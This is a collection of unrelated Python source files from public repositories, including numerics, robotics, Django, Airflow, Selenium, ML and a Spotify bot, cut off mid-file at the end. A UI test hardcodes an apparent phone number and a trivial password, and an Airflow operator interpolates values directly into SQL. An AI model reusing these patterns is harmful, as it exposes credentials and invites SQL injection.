tmax = 0.065, 60. # en mètres, en secondes\nD = 98.8e-6 # Diffusivité thermique de l'aluminium\nTmax = 80. # °C\nTamb = 20. # °C\nNx_lst = np.array([10_000])\nNt_lst = np.array([2_811_768])\n\nfor Nx in Nx_lst:\n for Nt in Nt_lst:\n dx = R / (Nx + 1)\n dt = tmax / (Nt + 1)\n beta = D * dt / dx ** 2\n\n print(\"beta={}, Nx={}, Nt={}\".format(beta, Nx, Nt))\n\n X = np.array([0. for _ in range(Nx + 2)])\n\n # Matrice Euler implicite\n diag = [1 + 2. * beta for _ in range(Nx + 2)]\n diag[0], diag[Nx + 1] = 1, 1 # Condition aux bornes\n\n upper_band = [-beta for _ in range(Nx + 1)]\n upper_band[0] = 0\n\n lower_band = [-beta for _ in range(Nx + 1)]\n lower_band[Nx] = 0\n\n diagonals = [diag, lower_band, upper_band]\n M = csc_matrix(diags(diagonals, [0, -1, 1]))\n\n # Vecteur initial\n B = np.transpose(np.array([Tamb for _ in range(Nx + 2)]))\n B[0] = Tmax\n\n # superLU\n LU = sla.splu(M)\n # print(\"L done\")\n # print(L)\n\n x_i = [i * dx * 100 for i in range(Nx + 2)] # Positions des points à l'intérieur de l'intervalle\n fig = plt.figure()\n line, = plt.plot([], [])\n plt.xlim(0, R * 100)\n plt.ylim(Tamb, Tmax)\n plt.xlabel('Position (cm)')\n plt.ylabel('Temperature (°C)')\n\n for i in range(Nt):\n X = LU.solve(B)\n if i % 50_000 == 0:\n print(i)\n plt.plot(x_i, X, 'b')\n B = X.copy()\n plt.show()\n '''\n def animate(i):\n global LU, B, X\n X = LU.solve(B)\n\n if i % 1_000 == 0:\n print(i)\n plt.plot(x_i, X, 'b')\n #line.set_data(x_i, X)\n # print(x_i)\n #print(X)\n B = X.copy()\n\n # filename = folder+'/{:0>9}.png'.format(i)\n\n # save frame\n # plt.savefig(filename)\n\n return line,\n '''\n\n # ani = animation.FuncAnimation(fig, animate, frames=Nt, blit=True, repeat=False)#interval=.5, repeat=False)\n\n # time.sleep(5)\n # plt.show()\n","repo_name":"UnderscorePoY/L3_Python","sub_path":"AlgebreLineaireNumerique/Projet_ALN/main_anim_superLU.py","file_name":"main_anim_superLU.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39881997686","text":"import anki_vector\nimport time\nfrom PIL import Image\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nwith anki_vector.Robot(enable_camera_feed=True) as robot:\n robot.motors.set_head_motor(-5.0) # move head to look at ground\n robot.motors.set_wheel_motors(10, 10) # set initial driving direction\n for count in range(25):\n while not robot.camera.latest_image:\n time.sleep(1.0)\n\n imageFromVector = robot.camera.latest_image\n image = cv2.cvtColor(np.array(imageFromVector),cv2.COLOR_RGB2GRAY) #convert image to gray\n\n maskArea = np.array([[(125, 200),(175,100), (450, 100), (500, 225)]], dtype=np.int32)\n\n blank = np.zeros_like(image)\n\n mask = cv2.fillPoly(blank, maskArea, 255)\n\n maskedImage = cv2.bitwise_and(image, mask)\n\n image_canny = cv2.Canny(maskedImage,50,200,apertureSize=3)\n\n rho = 2\n theta = np.pi/180\n threshold = 50\n minLine = 50\n maxLine = 8\n lines = cv2.HoughLinesP(image_canny, rho, theta, threshold, np.array([]), minLineLength=minLine, maxLineGap=maxLine)\n #lines = cv2.HoughLines(image_canny,1,np.pi/180,200) # for regular Hough Transform\n\n\n\n try:\n if lines[0,0,0] < 150: # turn left slightly\n robot.motors.set_wheel_motors(10, 15)\n\n elif lines[1,0,0] > 450: # turn right slightly\n robot.motors.set_wheel_motors(15, 10)\n\n else: # go straight\n robot.motors.set_wheel_motors(10, 10)\n except:\n print(\"didnt find any\")\n\n # the code below is for testing purposes\n # plt.imshow(image_canny)\n # #plt.imshow(image,cmap=\"gray\")\n # plt.show()\n # cv2.waitKey(3)\n # print(lines)\n","repo_name":"cggonzal/Self-Driving-Anki-Vector","sub_path":"lineFollowingVector.py","file_name":"lineFollowingVector.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"52"} +{"seq_id":"75225266404","text":"import os\nimport boto3\n\nfrom django.core.management.base import BaseCommand\nfrom django.conf import settings\n\nfrom racial_covenants_processor.storage_backends import PrivateMediaStorage\nfrom apps.deed.models import DeedPage\nfrom apps.zoon.models import ZooniverseSubject\nfrom apps.zoon.utils.zooniverse_config import get_workflow_obj\n\n\nclass Command(BaseCommand):\n\n session = boto3.Session(\n aws_access_key_id=settings.AWS_ACCESS_KEY_ID,\n aws_secret_access_key=settings.AWS_SECRET_ACCESS_KEY)\n\n def add_arguments(self, parser):\n parser.add_argument('-w', '--workflow', type=str,\n help='Name of Zooniverse workflow to process, e.g. \"Ramsey County\"')\n\n def build_hit_lookup(self, workflow):\n '''\n First step of join_to_subjects. Expands the list of image ids from the ZooniverseSubject instance to create a lookup table from each image id to the ZooniverseSubject primary key\n\n Arguments:\n workflow: Django ZooniverseWorkflow object\n '''\n\n subject_hit_set = ZooniverseSubject.objects.filter(\n workflow=workflow\n ).exclude(\n deedpage_s3_lookup__isnull=True\n ).values('id', 'deedpage_s3_lookup')\n\n subject_hit_lookup = {}\n for subject in subject_hit_set:\n subject_hit_lookup[subject['deedpage_s3_lookup']] = subject['id']\n\n return subject_hit_lookup\n\n def join_subjects_to_hits(self, deed_pages, subject_hit_lookup):\n '''\n Second step of join_to_subjects. Does the Django work to actually update the database\n\n Arguments:\n deed_pages: Django queryset of DeedPage objects from previously selected workflow\n subject_hit_lookup: A dictionary where each key is an s3_lookup from the Zooniverse subject data, and the value is the pk value for the correct ZooniverseSubject instance\n '''\n\n # Build a lookup dict for the DeedImage objects for comparison to subject_image_lookup so we only loop through necessary DeedPage objects\n deed_pages_lookup = {\n page['s3_lookup']: page['id'] for page in deed_pages.values('id', 's3_lookup')\n }\n\n common_keys = [key for key in deed_pages_lookup.keys()\n & subject_hit_lookup.keys()]\n # common_keys = list(set(deed_pages_lookup.keys()).intersection(set(subject_hit_lookup.keys())))\n\n deed_pages_lookup_filtered = {\n key: deed_pages_lookup[key] for key in common_keys}\n\n pages_to_update = []\n for dp in deed_pages.filter(id__in=deed_pages_lookup_filtered.values()):\n dp.zooniverse_subject_id = subject_hit_lookup[dp.s3_lookup]\n pages_to_update.append(dp)\n\n print(f'Linking images for {len(pages_to_update)} hits ...')\n DeedPage.objects.bulk_update(\n pages_to_update, [f'zooniverse_subject'])\n\n def build_image_lookup(self, workflow, position):\n '''\n Third step of join_to_subjects. Expands the list of image ids from the ZooniverseSubject instance to create a lookup table from each image id to the ZooniverseSubject primary key\n\n Arguments:\n workflow: Django ZooniverseWorkflow object\n '''\n\n subject_image_set = ZooniverseSubject.objects.filter(\n workflow=workflow\n ).exclude(\n image_links__isnull=True\n ).values('id', 'image_links')\n\n expanded_subject_image_set = {}\n for subject in subject_image_set:\n image = subject['image_links'][position]\n # for image in subject['image_links']:\n if image not in ['', None]:\n expanded_subject_image_set[os.path.basename(image.replace(\n '.png', '.jpg'))] = subject['id']\n\n return expanded_subject_image_set\n\n def add_image_links(self, deed_pages, subject_image_lookup, page):\n '''\n Fourth step of join_to_subjects. Does the Django work to actually update the database\n\n Arguments:\n deed_pages: Django queryset of DeedPage objects from previously selected workflow\n subject_image_lookup: A dictionary where each key is an image id from the Zooniverse subject data, and the value is the pk value for the correct ZooniverseSubject instance\n page: What position is this image in relative to the individual subject (1st, 2nd, or 3rd)\n '''\n\n # Build a lookup dict for the DeedImage objects for comparison to subject_image_lookup so we only loop through necessary DeedPage objects\n deed_pages_lookup = {os.path.basename(\n page['page_image_web']): page['id'] for page in deed_pages.values('id', 'page_image_web')}\n\n common_keys = [key for key in deed_pages_lookup.keys()\n & subject_image_lookup.keys()]\n\n deed_pages_lookup_filtered = {\n key: deed_pages_lookup[key] for key in common_keys}\n\n pages_to_update = []\n for dp in deed_pages.filter(id__in=deed_pages_lookup_filtered.values()):\n setattr(\n dp,\n f'zooniverse_subject_{page}_page_id',\n subject_image_lookup[os.path.basename(str(dp.page_image_web))]\n )\n pages_to_update.append(dp)\n\n print(f'{page} page: Linking {len(pages_to_update)} images ...')\n DeedPage.objects.bulk_update(\n pages_to_update, [f'zooniverse_subject_{page}_page'])\n\n def handle(self, *args, **kwargs):\n workflow_name = kwargs['workflow']\n if not workflow_name:\n print('Missing workflow name. Please specify with --workflow.')\n else:\n workflow = get_workflow_obj(workflow_name)\n\n deed_pages = DeedPage.objects.filter(\n workflow=workflow\n ).only('id', 'page_image_web', 's3_lookup')\n\n # Join to deed page of hit via deedpage_s3_lookup\n subject_hit_lookup = self.build_hit_lookup(workflow)\n self.join_subjects_to_hits(deed_pages, subject_hit_lookup)\n\n\n # Join all related DeedPage images based on image position\n subject_images_1st = self.build_image_lookup(workflow, 0)\n subject_images_2nd = self.build_image_lookup(workflow, 1)\n subject_images_3rd = self.build_image_lookup(workflow, 2)\n\n self.add_image_links(deed_pages, subject_images_1st, '1st')\n self.add_image_links(deed_pages, subject_images_2nd, '2nd')\n self.add_image_links(deed_pages, subject_images_3rd, '3rd')\n","repo_name":"UMNLibraries/racial_covenants_processor","sub_path":"apps/deed/management/commands/join_deeds_to_subjects.py","file_name":"join_deeds_to_subjects.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"13901065954","text":"# _*_ coding:utf-8 _*_\n__author__ = 'Tanz'\n__date__ = '2019/6/4 14:26'\nimport time\nfrom app.start.start import get_driver\ndef login_by_phone(driver):\n # driver = get_driver()\n time.sleep(10)\n driver.find_element_by_android_uiautomator('new UiSelector().text(\"personal center-outline 个人中心\")').click()\n time.sleep(2)\n driver.find_element_by_xpath('//android.view.View[contains(@index,4)]').click()\n phone_input = driver.find_elements_by_class_name('android.widget.EditText')\n phone_input[0].send_keys('18852923055')\n phone_input[1].send_keys('123456')\n driver.find_element_by_android_uiautomator('new UiSelector().className(\"android.widget.Button\").text(\"登录\")').click()\n","repo_name":"PhoeNixTanZ/Moxa-Aromatherapy-Machine-Test","sub_path":"AF_autotest/app/login/phone_login.py","file_name":"phone_login.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73076294886","text":"# glow.py\n# This program uses PWM output to change the brightness of\n# each of the R, G and B color of the RGB LED.\n# Colour is chosen randomly and the PWM is modified over a series of steps\n# to change from the current colour to the new colour\n\n# Import Python library\nimport RPi.GPIO as GPIO\nimport time\nimport random\nimport math\n\nDUTY_CYCLE = 100\nBLACK = [0.0, 0.0, 0.0]\n\n# Pin Setup:\nGPIO.setmode(GPIO.BCM) # Broadcom pin-numbering scheme\n\nPWMS = []\n# Pin Definitions, R=GPIO023, G=GPIO024, B=GPIO025:\nfor pin in [23, 24, 25]:\n GPIO.setup(pin, GPIO.OUT) # LED pin set as output\n\n # Initialize PWM on all pins at 100Hz frequency\n pwm = GPIO.PWM(pin, DUTY_CYCLE)\n pwm.start(0)\n PWMS.append(pwm)\n\nprint(\"Press CTRL+C to terminate program\")\ntry:\n last_colour = BLACK\n\n while 1:\n # Create a new colour (need 3 channels - R, G and B)\n new_colour = [float(random.randint(0, DUTY_CYCLE) * random.randint(0, 1)) for _ in range(3)]\n\n scale = max(new_colour)\n if not scale:\n # We ignore black - it's boring\n continue\n\n # Make it maximally bright by scaling to the max duty cycle\n target_colour = [DUTY_CYCLE * channel / scale for channel in new_colour]\n\n # Find the distance between this colour and the previous to make the\n # shade change appear event no matter what colours we move between\n sum_squares = 0.0\n for a, b in zip(last_colour, target_colour):\n sum_squares += math.pow(a - b, 2)\n steps = int(math.sqrt(sum_squares))\n\n if not steps:\n # There is no meaningful difference in colour, so pick a new one\n continue\n\n # Create a list containing how big each step in for each colour channel is\n # We also include the PWM itself to make the call easier later\n interpolate = [(pwm, base, (target - base) / steps)\n for pwm, base, target in zip(PWMS, last_colour, target_colour)]\n\n for i in range(steps):\n for pwm, base, gradient in interpolate:\n pwm.ChangeDutyCycle(int(base + i * gradient))\n time.sleep(0.1) #delay 0.1 second\n time.sleep(0.2) # slight pause at the peak colour\n last_colour = target_colour\n\nexcept KeyboardInterrupt: # Exit program if CTRL+C is pressed\n for pwm in PWMS:\n pwm.stop()\n GPIO.cleanup() # cleanup all GPIO and set all to input","repo_name":"aalcock/watering","sub_path":"glow.py","file_name":"glow.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73033689445","text":"import torch\nfrom torch import nn\n\n\n# x=torch.rand(1,17)\n# print(x)\n#\n# print(x.view(1,1,-1))\n#\n# print(x.size())\n# print(x.size(0))\n# print(x.size(1))\n# print(x.data)\n# topv,topi=x.data.topk(1)#返回最大的两个数及对应的坐标\n# print(topv,topi,topi.item())\n\n\n\n# input=torch.randn(1,17)\n# print(input)\n# print(input.size())\n# m=nn.LayerNorm(17)\n# output=m(input)\n# print(output)\n\n\n\n#RNN\nrnn=nn.RNN(10,20,2) #(each_input_size, hidden_state, num_layers)\ninput=torch.randn(5,3,10) # (seq_len, batch, input_size)\nh0=torch.randn(2,3,20) #(num_layers * num_directions, batch, hidden_size)\noutput,hn=rnn(input,h0)\nprint(output.size(),hn.size())\n\n\n#LSTM\nrnn=nn.LSTM(10,20,2) #(each_input_size, hidden_state, num_layers)\ninput=torch.randn(5,3,10) # (seq_len, batch, input_size)\nh0=torch.randn(2,3,20) #(num_layers * num_directions, batch, hidden_size)\nc0=torch.randn(2,3,20) #(num_layers * num_directions, batch, hidden_size)\noutput,(hn,cn)=rnn(input,(h0,c0))\nprint(output.size(),hn.size(),cn.size())\n\n\n#GRU\nrnn=nn.GRU(10,20,2)\ninput=torch.randn(5,3,10)\nh0=torch.randn(2,3,20)\noutput,hn=rnn(input,h0)\nprint(output.size(),hn.size())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"zhanxlin/translate","sub_path":"RNN_pytorch_ex.py","file_name":"RNN_pytorch_ex.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"298623482","text":"from airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.providers.postgres.hooks.postgres import PostgresHook\n\n\nclass QueryPostgres(BaseOperator):\n @apply_defaults\n def __init__(\n self,\n table=None,\n last_extraction_timestamp=None,\n attributes=None,\n *args,\n **kwargs,\n ):\n super(QueryPostgres, self).__init__(*args, **kwargs)\n self.table = table\n self.last_extraction_timestamp = last_extraction_timestamp\n self.attributes = attributes\n\n def execute(self, context):\n postgres_hook = PostgresHook(postgres_conn_id=\"postgres_homero\")\n\n sql_query = f\"\"\"\n SELECT {self.attributes}\n FROM {self.table}\n WHERE updatedAt > '{self.last_extraction_timestamp}'\n \"\"\"\n\n conn = postgres_hook.get_conn()\n cursor = conn.cursor()\n cursor.execute(sql_query)\n result = cursor.fetchall()\n\n data_list = []\n\n for data in result:\n record = dict(zip(self.attributes.split(\", \"), data))\n record[\"_id\"] = record.pop(\"id\")\n data_list.append(record)\n\n cursor.close()\n conn.close()\n\n return data_list\n","repo_name":"supervipe/ETL-Airflow","sub_path":"dags/operators/postegresql_operator/extract_data_operator.py","file_name":"extract_data_operator.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14732213997","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 17 17:31:57 2021\n\n@author: AMK\n\"\"\"\n\n\n\"\"\"\nCreated on Wed Mar 10 18:21:33 2021\n\n@author: AMK\n\"\"\"\nimport os\nimport pandas as pd\nfrom tensorflow.keras.preprocessing import image\nimport numpy as np\n\nimport keras.backend as k\nimport keras\nfrom keras.models import Sequential,Input,Model\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.models import model_from_json\nfrom sklearn.model_selection import train_test_split\nfrom keras import regularizers\n\nBase=os.path.abspath('Data/train')\nBT=os.listdir(Base)\nnclasses=len(BT)\n\ndef train_data():\n x=[]\n y=[]\n for i in BT:\n t=os.path.join(Base,i)\n for j in os.listdir(t):\n img=os.path.join(t,j)\n img = image.load_img(img, target_size=(48,48),color_mode=\"grayscale\")\n img_array = image.img_to_array(img)\n y.append(BT.index(i))\n x.append(img_array)\n \n x=np.array(x).reshape(-1,48,48,1)\n x /=255\n y = keras.utils.to_categorical(y,nclasses)\n return x,y\n\n\n\ndef test_data():\n Base=os.path.abspath('Data/test')\n BT=os.listdir(Base)\n nclasses=len(BT)\n xt=[]\n yt=[]\n for i in BT:\n t=os.path.join(Base,i)\n for j in os.listdir(t):\n img=os.path.join(t,j)\n img = image.load_img(img, target_size=(48,48),color_mode=\"grayscale\")\n img_array = image.img_to_array(img)\n img_array.shape\n yt.append(BT.index(i))\n xt.append(img_array)\n xt=np.array(xt).reshape(-1,48,48,1) \n xt /=255 \n yt = keras.utils.to_categorical(yt,nclasses)\n return xt,yt\n\n\nx,y=train_data()\nxt,yt=test_data()\n\nxtrain,xtest,ytrain,ytest=train_test_split(x,y,test_size=0.20,shuffle=True)\nimport autokeras as ak\nclf=ak.ImageClassifier()\nclf.fit(xtrain,ytrain)\nr=clf.predict(xtest)\n","repo_name":"Muthukumar1303/DS-Projects","sub_path":"Emoji Create/clftry.py","file_name":"clftry.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12300271165","text":"import logging\nimport optparse\nimport os\nimport sys\nimport time\n\n_SRC_PATH = os.path.abspath(os.path.join(\n os.path.dirname(__file__), os.pardir, os.pardir, os.pardir))\n\nsys.path.append(os.path.join(_SRC_PATH, 'third_party', 'catapult', 'devil'))\nfrom devil.android import device_utils\nfrom devil.android import flag_changer\nfrom devil.android.constants import chrome\nfrom devil.android.perf import cache_control\nfrom devil.android.sdk import intent\n\nsys.path.append(os.path.join(_SRC_PATH, 'build', 'android'))\nimport devil_chromium\n\nimport chrome_setup\nimport device_setup\n\n\ndef RunChrome(device, cold, chrome_args, package_info):\n \"\"\"Runs Chrome on the device.\n\n Args:\n device: (DeviceUtils) device to run the tests on.\n cold: (bool) Whether caches should be dropped.\n chrome_args: ([str]) List of arguments to pass to Chrome.\n package_info: (PackageInfo) Chrome package info.\n \"\"\"\n if not device.HasRoot():\n device.EnableRoot()\n\n cmdline_file = package_info.cmdline_file\n package = package_info.package\n with flag_changer.CustomCommandLineFlags(device, cmdline_file, chrome_args):\n device.ForceStop(package)\n\n if cold:\n chrome_setup.ResetChromeLocalState(device, package)\n cache_control.CacheControl(device).DropRamCaches()\n\n start_intent = intent.Intent(package=package, data='about:blank',\n activity=package_info.activity)\n try:\n device.StartActivity(start_intent, blocking=True)\n print (\n '\\n\\n'\n ' +---------------------------------------------+\\n'\n ' | Chrome launched, press Ctrl-C to interrupt. |\\n'\n ' +---------------------------------------------+')\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n pass\n finally:\n device.ForceStop(package)\n\n\ndef _CreateOptionParser():\n description = 'Launches Chrome on a device, connected to a WebPageReplay ' \\\n 'instance running on the host. The WPR archive must be ' \\\n 'passed as parameter.'\n parser = optparse.OptionParser(description=description,\n usage='Usage: %prog [options] wpr_archive')\n\n # Device-related options.\n d = optparse.OptionGroup(parser, 'Device options')\n d.add_option('--device', help='Device ID')\n d.add_option('--cold', help='Purge all caches before running Chrome.',\n default=False, action='store_true')\n d.add_option('--chrome_package_name',\n help='Chrome package name (e.g. \"chrome\" or \"chromium\") '\n '[default: %default].', default='chrome')\n parser.add_option_group(d)\n\n # WebPageReplay-related options.\n w = optparse.OptionGroup(parser, 'WebPageReplay options')\n w.add_option('--record',\n help='Enable this to record a new WPR archive.',\n action='store_true', default=False)\n w.add_option('--wpr_log', help='WPR log path.')\n w.add_option('--network_condition', help='Network condition for emulation.')\n parser.add_option_group(w)\n\n return parser\n\n\ndef main():\n parser = _CreateOptionParser()\n options, args = parser.parse_args()\n if len(args) != 1:\n parser.error(\"Incorrect number of arguments.\")\n devil_chromium.Initialize()\n devices = device_utils.DeviceUtils.HealthyDevices()\n device = devices[0]\n if len(devices) != 1 and options.device is None:\n logging.error('Several devices attached, must specify one with --device.')\n sys.exit(0)\n if options.device is not None:\n matching_devices = [d for d in devices if str(d) == options.device]\n if not matching_devices:\n logging.error('Device not found.')\n sys.exit(0)\n device = matching_devices[0]\n\n with device_setup.RemoteWprHost(device, args[0], options.record,\n options.network_condition,\n out_log_path=options.wpr_log) as wpr_attr:\n RunChrome(device, options.cold,\n chrome_setup.CHROME_ARGS + wpr_attr.chrome_args,\n chrome.PACKAGE_INFO[options.chrome_package_name])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kiwibrowser/src","sub_path":"tools/android/loading/wpr_helper.py","file_name":"wpr_helper.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":2475,"dataset":"github-code","pt":"52"} +{"seq_id":"43145917348","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport time\n\ndriver = webdriver.Chrome(ChromeDriverManager().install())\ndriver.implicitly_wait(10)\n\ndriver.get('https://mail.rediff.com/cgi-bin/login.cgi')\n\ndriver.find_element(By.NAME, 'proceed').click()\ntime.sleep(3)\n#js pop windows\nalert = driver.switch_to.alert\nprint(alert.text)\nalert.accept()\n#alert.dismiss()\nalert.send_keys('h1')\n#main window again select\ndriver.swith_to.default_content()\n\n\ntime.sleep(3)\ndriver.quit()\n\ndriver.get('http://www.londonfreelance.org/courses/frames/index.html')\ndriver.switch_to.frame('main')\n\n#main ( also we can count 123 (2)\n#another method frame_element = driver.find_element(By.NAME, 'main')\n#driver.switch_to.frame(frame_element)\n\nheaderValue = driver.find_element(By.CSS_SELECTOR, 'body > h2').text\n\nprint(headerValue)\n\ndriver.switch_to.default_content()\n#default method alternative parent method\n#driver.switch_to.parent_frame()\n\n","repo_name":"padalasurendramac/python","sub_path":"selenium/fileupload.py","file_name":"fileupload.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27546483696","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n@File : jknet.py\n@Time : 2022/4/10 11:16 上午\n@Author : Jia Yiming\n\"\"\"\n\nimport tensorlayerx as tlx\nfrom gammagl.layers.conv import SAGEConv, GCNConv, JumpingKnowledge\n\n\nclass JKNet(tlx.nn.Module):\n def __init__(self, dataset, mode='max', num_layers=6, hidden=16, drop=0.5):\n super(JKNet, self).__init__()\n self.num_layers = num_layers\n self.mode = mode\n self.drop = drop\n\n self.conv0 = GCNConv(in_channels=dataset.num_node_features, out_channels=hidden)\n self.dropout0 = tlx.nn.Dropout(p=drop)\n for i in range(1, self.num_layers):\n setattr(self, 'conv{}'.format(i), GCNConv(hidden, hidden))\n setattr(self, 'dropout{}'.format(i), tlx.nn.Dropout(p=drop))\n self.jk = JumpingKnowledge(mode=mode, channels=hidden, num_layers=num_layers)\n if mode == 'max':\n self.fc = tlx.nn.Linear(in_features=hidden, out_features=dataset.num_classes)\n elif mode == 'cat':\n self.fc = tlx.nn.Linear(in_features=num_layers * hidden, out_features=dataset.num_classes)\n elif mode == 'lstm':\n self.fc = tlx.nn.Linear(in_features=hidden, out_features=dataset.num_classes)\n\n\n def forward(self, x, edge_index, edge_weight, num_nodes):\n layer_out = []\n for i in range(self.num_layers):\n conv = getattr(self, 'conv{}'.format(i))\n dropout = getattr(self, 'dropout{}'.format(i))\n x = dropout(tlx.relu(conv(x, edge_index, edge_weight=edge_weight)))\n layer_out.append(x)\n h = self.jk(layer_out)\n h = self.fc(h)\n h = tlx.softmax(h, axis=1)\n return h","repo_name":"BUPT-GAMMA/GammaGL","sub_path":"gammagl/models/jknet.py","file_name":"jknet.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"52"} +{"seq_id":"7588276092","text":"from pyrogram.enums import ParseMode\n\nfrom spotipy import SpotifyOAuth, Spotify\n\nfrom alemibot import alemiBot\nfrom alemibot.util import is_allowed, edit_or_reply, filterCommand, report_error, HelpCategory\nfrom alemibot.util.command import _Message as Message\n\nfrom ..common import format_track, progress_bar\nfrom ..session import sess\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nHELP = HelpCategory(\"SPOTIFY\")\n\nSPOTIFY : Spotify\n\n@alemiBot.on_ready()\nasync def setup_spotify_oauth_api_cb(client:alemiBot):\n\tglobal SPOTIFY\n\tauth = SpotifyOAuth(\n\t\tusername=client.config.get(\"spotify\", \"username\", fallback=None),\n\t\tscope=\"user-modify-playback-state user-read-currently-playing\",\n\t\tclient_id=client.config.get(\"spotify\", \"clientId\", fallback=None),\n\t\tclient_secret=client.config.get(\"spotify\", \"clientSecret\", fallback=None),\n\t\tredirect_uri='https://alemi.dev/spotify.html',\n\t\topen_browser=False\n\t)\n\tSPOTIFY = Spotify(auth_manager=auth)\n\tlogger.debug(str(SPOTIFY.current_user()))\n\n@HELP.add(cmd=\"\", sudo=False)\n@alemiBot.on_message(is_allowed & filterCommand(\"queue\", flags=[\"-preview\"]))\n@report_error(logger)\nasync def add_to_queue_cmd(client:alemiBot, message:Message):\n\t\"\"\"add song to queue\n\n\tAdd a track to spotify queue.\n\tAccepts both a search query or a spotify URI.\n\tUse `search` command to first lookup songs if you are unsure of your query.\n\tAdd `-preview` flag to include spotify track url and embedded preview.\n\t\"\"\"\n\tif not sess.group_call or not sess.group_call.is_connected:\n\t\treturn await edit_or_reply(message, \"`[!] → ` No active call\")\n\tif len(message.command) < 1:\n\t\treturn await edit_or_reply(message, \"`[!] → ` No input\")\n\tpreview = message.command[\"-preview\"]\n\tq = message.command.text\n\tif q.startswith(\"spotify:\") or q.startswith(\"http://open.spotify.com\"):\n\t\tSPOTIFY.add_to_queue(q)\n\t\tawait edit_or_reply(message, \"` → ` Added to queue\")\n\telse:\n\t\tres = SPOTIFY.search(q, limit=1)\n\t\tif len(res) < 1:\n\t\t\treturn await edit_or_reply(message, \"`[!] → ` No results\")\n\t\tSPOTIFY.add_to_queue(res[\"tracks\"][\"items\"][0][\"uri\"])\n\t\ttext = format_track(res[\"tracks\"][\"items\"][0], preview=preview)\n\t\tawait edit_or_reply(message, f\"` → ` Added to queue : {text}\", disable_web_page_preview=True)\n\n@HELP.add(sudo=False)\n@alemiBot.on_message(is_allowed & filterCommand(\"playing\", flags=[\"-preview\"]))\n@report_error(logger)\nasync def show_current_song_cmd(client:alemiBot, message:Message):\n\t\"\"\"show track currently played\n\n\tShows track currently being played, with a progress bar.\n\tAdd flag `-preview` to include spotify track url and embedded preview.\n\t\"\"\"\n\tif not sess.group_call or not sess.group_call.is_connected:\n\t\treturn await edit_or_reply(message, \"`[!] → ` No active call\")\n\tpreview = message.command[\"-preview\"]\n\tres = SPOTIFY.current_user_playing_track()\n\tif not res:\n\t\treturn await edit_or_reply(message, \"`[!] → ` Not playing anything\")\n\ttext = format_track(res[\"item\"], preview=preview) + '\\n' + progress_bar(res[\"progress_ms\"], res['item']['duration_ms'])\n\tawait edit_or_reply(message, f\"` → ` {text}\")\n\n@HELP.add(sudo=False)\n@alemiBot.on_message(is_allowed & filterCommand(\"skip\"))\n@report_error(logger)\nasync def skip_track_cmd(client:alemiBot, message:Message):\n\t\"\"\"skip current track\n\n\tSkip current track. Since playout is buffered (for resampling), skip may take up to 5s.\n\t\"\"\"\n\tif not sess.group_call or not sess.group_call.is_connected:\n\t\treturn await edit_or_reply(message, \"`[!] → ` No active call\")\n\tSPOTIFY.next_track()\n\tawait edit_or_reply(message, \"` → ` Skipped\")\n\n@HELP.add(cmd=\"\", sudo=False)\n@alemiBot.on_message(is_allowed & filterCommand(\"search\", options={\n\t\"limit\" : [\"-l\", \"--limit\"],\n}, flags=[\"-preview\"]))\n@report_error(logger)\nasync def search_track_cmd(client:alemiBot, message:Message):\n\t\"\"\"search a song on spotify\n\n\tSearch tracks on spotify. Will return first 5 results (change with `-l`).\n\tSong URIs will be returned, use this before queuing uncommon songs\n\t\"\"\"\n\tif len(message.command) < 1:\n\t\treturn await edit_or_reply(message, \"`[!] → ` No input\")\n\tlimit = int(message.command[\"limit\"] or 5)\n\tpreview = message.command[\"-preview\"]\n\tq = message.command.text\n\tres = SPOTIFY.search(q, limit=limit)[\"tracks\"][\"items\"]\n\tif len(res) < 1:\n\t\treturn await edit_or_reply(message, \"`[!] → ` No results\")\n\ttext = f\" Results for \\\"{q}\\\"\\n\"\n\tfor track in res:\n\t\ttext += f\" {format_track(track, html=True, preview=preview)}\\n\\t\\t\\t\\t{track['uri']}\\n\"\n\tawait edit_or_reply(message, text, parse_mode=ParseMode.HTML, disable_web_page_preview=(len(res) > 1))","repo_name":"alemidev/spotyrobot","sub_path":"commands/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":4597,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"72038157926","text":"from dependencies import *\nfrom qcircuit import *\nfrom train import save_model\nimport time\n# tem que estar normalizado\n\ndef get_activation(w,train_set_x,num_shots = 8192):\n m = len(train_set_x[0])\n n = 